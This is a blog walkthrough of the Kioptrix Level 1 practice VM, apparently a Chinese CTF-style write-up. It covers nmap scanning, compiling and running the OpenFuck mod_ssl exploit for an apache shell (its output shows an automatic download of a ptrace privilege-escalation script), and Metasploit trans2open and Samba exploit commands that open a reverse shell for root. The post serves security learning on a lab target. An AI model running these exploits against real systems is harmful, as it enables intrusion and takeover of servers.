Kioptrix-1

最新推荐文章于 2024-12-05 20:52:38 发布

观者:00

最新推荐文章于 2024-12-05 20:52:38 发布

阅读量454

点赞数

文章标签：网络安全开源

本文链接：https://blog.youkuaiyun.com/qq_62066842/article/details/129838074

版权

将kioptrix1的网卡设置为net，kali也为net

靶机打开之后是这样的

无法扫描到目标机该怎么办编辑VMX configuration file文件，把里头的bridged换成nat，但保留最后一个bridged。试一下好使不，不好使把最后一个bridged也改成nat.

确认目标ip

我们需要知道目标的ip,扫描存活主机

信息搜集

sudo nmap -sn 192.168.170.0/24

192.168.170.1是网卡的默认网关，不是我们要寻找的目标类似的，192.168.170.2和192.168.170.254都是默认不会分配给主机的网关地址 134是kali自身ip 所以确认目标ip为 192.168.170.135 ![[Pasted image 20230328195909.png]]

接下来进行进一步的扫描

sudo nmap -sC -sV -v -p- -A 192.168.170.135

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-28 08:05 EDT
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 08:05
Completed NSE at 08:05, 0.00s elapsed
Initiating NSE at 08:05
Completed NSE at 08:05, 0.00s elapsed
Initiating NSE at 08:05
Completed NSE at 08:05, 0.00s elapsed
Initiating ARP Ping Scan at 08:05
Scanning 192.168.170.135 [1 port]
Completed ARP Ping Scan at 08:05, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:05
Completed Parallel DNS resolution of 1 host. at 08:05, 0.01s elapsed
Initiating SYN Stealth Scan at 08:05
Scanning bogon (192.168.170.135) [65535 ports]
Discovered open port 80/tcp on 192.168.170.135
Discovered open port 111/tcp on 192.168.170.135
Discovered open port 139/tcp on 192.168.170.135
Discovered open port 443/tcp on 192.168.170.135
Discovered open port 22/tcp on 192.168.170.135
Discovered open port 1024/tcp on 192.168.170.135
Completed SYN Stealth Scan at 08:05, 7.03s elapsed (65535 total ports)
Initiating Service scan at 08:05
Scanning 6 services on bogon (192.168.170.135)
Completed Service scan at 08:05, 11.03s elapsed (6 services on 1 host)
Initiating OS detection (try #1) against bogon (192.168.170.135)
NSE: Script scanning 192.168.170.135.
Initiating NSE at 08:05
Completed NSE at 08:05, 10.64s elapsed
Initiating NSE at 08:05
Completed NSE at 08:05, 0.04s elapsed
Initiating NSE at 08:05
Completed NSE at 08:05, 0.00s elapsed
Nmap scan report for bogon (192.168.170.135)
Host is up (0.00079s latency).
Not shown: 65529 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey: 
|   1024 b8746cdbfd8be666e92a2bdf5e6f6486 (RSA1)
|   1024 8f8e5b81ed21abc180e157a33c85c471 (DSA)
|_  1024 ed4ea94a0614ff1514ceda3a80dbe281 (RSA)
|_sshv1: Server supports SSHv1
80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| http-methods: 
|   Supported Methods: GET HEAD OPTIONS TRACE
|_  Potentially risky methods: TRACE
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp  open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1           1024/tcp   status
|_  100024  1           1024/udp   status
139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ssl-date: 2023-03-28T13:07:44+00:00; +1h01m52s from scanner time.
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Issuer: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: md5WithRSAEncryption
| Not valid before: 2009-09-26T09:32:06
| Not valid after:  2010-09-26T09:32:06
| MD5:   78ce52934723e7fec28d74ab42d702f1
|_SHA-1: 9c4291c3bed2a95b983d10acf766ecb987661d33
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|_    SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-title: 400 Bad Request
1024/tcp open  status      1 (RPC #100024)
MAC Address: 00:0C:29:95:4A:C2 (VMware)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Uptime guess: 0.007 days (since Tue Mar 28 07:56:17 2023)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=202 (Good luck!)
IP ID Sequence Generation: All zeros

Host script results:
|_clock-skew: 1h01m51s
|_smb2-time: Protocol negotiation failed (SMB2)
| nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| Names:
|   KIOPTRIX<00>         Flags: <unique><active>
|   KIOPTRIX<03>         Flags: <unique><active>
|   KIOPTRIX<20>         Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   MYGROUP<00>          Flags: <group><active>
|   MYGROUP<1d>          Flags: <unique><active>
|_  MYGROUP<1e>          Flags: <group><active>

TRACEROUTE
HOP RTT     ADDRESS
1   0.79 ms bogon (192.168.170.135)

NSE: Script Post-scanning.
Initiating NSE at 08:05
Completed NSE at 08:05, 0.00s elapsed
Initiating NSE at 08:05
Completed NSE at 08:05, 0.00s elapsed
Initiating NSE at 08:05
Completed NSE at 08:05, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.70 seconds
           Raw packets sent: 65572 (2.886MB) | Rcvd: 65551 (2.623MB)

发现靶机开启了80和443端口，尝试进行访问 ![[Pasted image 20230328201108.png]] 都是这个页面，没有发现更多信息仔细观察nmap扫描出来的信息这里的apache中间件版本为 http-server-header: Apache/1.3.20 443端口上的ssl服务版本为 mod_ssl/2.8.4 OpenSSL/0.9.6b

寻找exp

第一个方法

我们来访问一下expdb Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers (exploit-db.com) 这个网站搜索mod_ssl

下载源码

将代码下载到本地，重命名为OpenFuck.c

下载的时候需要注意代码中的注释，他们往往会告知使用者该文件中代码的使用方式或编译方式按照要求进行编译

gcc -o OpenFuck OpenFuck.c -lcrypto

编译失败可以使用以下命令安装一个库再进行编译

apt-get install libssl-dev

编译完成之后的样子

执行 ./OpenFuck 命令，即可获得该可执行文件的使用说明

第二个方法（参照大佬的方法）

┌──(root kali)-[~/Desktop]
└─# searchsploit mod_ssl      
------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                              |  Path
------------------------------------------------------------------------------------------------------------ ---------------------------------
Apache mod_ssl 2.0.x - Remote Denial of Service                                                             | linux/dos/24590.txt
Apache mod_ssl 2.8.x - Off-by-One HTAccess Buffer Overflow                                                  | multiple/dos/21575.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow                                        | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)                                  | unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)                                  | unix/remote/47080.c
Apache mod_ssl OpenSSL < 0.9.6d / < 0.9.7-beta2 - 'openssl-too-open.c' SSL2 KEY_ARG Overflow                | unix/remote/40347.txt
------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

对比mod_ssl/2.8.4版本，有三个版本合适，挨个进行测试

经过测试发现unix/remote/47080.c是可以使用的，咱们给他复制出来

┌──(root kali)-[~/Desktop]
└─# locate unix/remote/47080.c
/usr/share/exploitdb/exploits/unix/remote/47080.c
                                                                                                                                              
┌──(root kali)-[~/Desktop]
└─# cp /usr/share/exploitdb/exploits/unix/remote/47080.c ./

然后使用gcc进行编译

┌──(root kali)-[~/Desktop]
└─# gcc -o exploit 47080.c -lcrypto
47080.c:21:10: fatal error: openssl/ssl.h: 没有那个文件或目录
   21 | #include <openssl/ssl.h&gt;
      |          ^~~~~~~~~~~~~~~
compilation terminated.

提示报错了，经过百度搜索，发现是缺少了组件

咱们使用apt进行安装

┌──(root kali)-[~/Desktop]
└─# apt-get install libssl1.0-dev

然后再进行编译

┌──(root kali)-[~/Desktop]
└─# gcc -o exploit 47080.c -lcrypto
                                                                                                                                              
┌──(root kali)-[~/Desktop]
└─# ls
47080.c  exploit

去运行一下

┌──(root kali)-[~/Desktop]
└─# ./exploit                                                                                                                        

*******************************************************************
* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

: Usage: ./exploit target box [port] [-c N]

  target - supported box eg: 0x00
  box - hostname or IP address
  port - port for ssl connection
  -c open N connections. (use range 40-50 if u dont know)

运行后得到了运行参数，咱们还得先找到对应的版本

┌──(root kali)-[~/Desktop]
└─# ./exploit | grep apache-1.3.20                                                                                                        1 ⨯
        0x02 - Cobalt Sun 6.0 (apache-1.3.20)
        0x27 - FreeBSD (apache-1.3.20)
        0x28 - FreeBSD (apache-1.3.20)
        0x29 - FreeBSD (apache-1.3.20+2.8.4)
        0x2a - FreeBSD (apache-1.3.20_1)
        0x3a - Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)
        0x3b - Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)
        0x3f - Mandrake Linux 8.1 (apache-1.3.20-3)
        0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
        0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
        0x7e - Slackware Linux 8.0 (apache-1.3.20)
        0x86 - SuSE Linux 7.3 (apache-1.3.20)

符合条件的有两个，分别是0x6a和0x6b，分别去测试一下

┌──(root kali)-[~/Desktop]
└─# ./exploit 0x6a 192.168.170.135 -c 40

*******************************************************************
* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Connection... 40 of 40
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f8070
Ready to send shellcode
Spawning shell...
Good Bye!

0x6a测试失败，现在去测试一下0x6b

┌──(root kali)-[~/Desktop]
└─# ./exploit 0x6b 192.168.170.135 -c 40

*******************************************************************
* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Connection... 40 of 40
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f81e8
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$ 
d.c; ./exploit; -kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmo 
--09:32:52--  https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
           => `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:443... connected!

Unable to establish SSL connection.

Unable to establish SSL connection.
gcc: ptrace-kmod.c: No such file or directory
gcc: No input files
rm: cannot remove `ptrace-kmod.c': No such file or directory
bash: ./exploit: No such file or directory
bash-2.05$ 
bash-2.05$ whoami&&id
whoami&&id
apache
uid=48(apache) gid=48(apache) groups=48(apache)

0x6b成功getshell，本来应该可以直接提权到root权限的，但是因为没办法和下载提权脚本的网站建立ssl连接导致脚本没下载下来，怎样解决可以参考大佬博客 vulnhub Kioptrix: Level 1 (#1)_仙女象的博客-优快云博客

权限提升

用smb_version这个payload探测smb版本

然后在msf中使用exploit/linux/samba/trans2open脚本

use exploit/linux/samba/trans2open
set payload linux/x86/shell_reverse_tcp
show options
set rhosts 192.168.170.135
exploit

或者前往expdb网站上看一看，搜索samba 2.2.x Samba < 2.2.8 (Linux/BSD) - Remote Code Execution - Multiple remote Exploit (exploit-db.com) 这个网站上找到exp 手动编译 gcc 10.c -o smb ./smb -b 0 -c kali_ip 目标ip 成功拿到root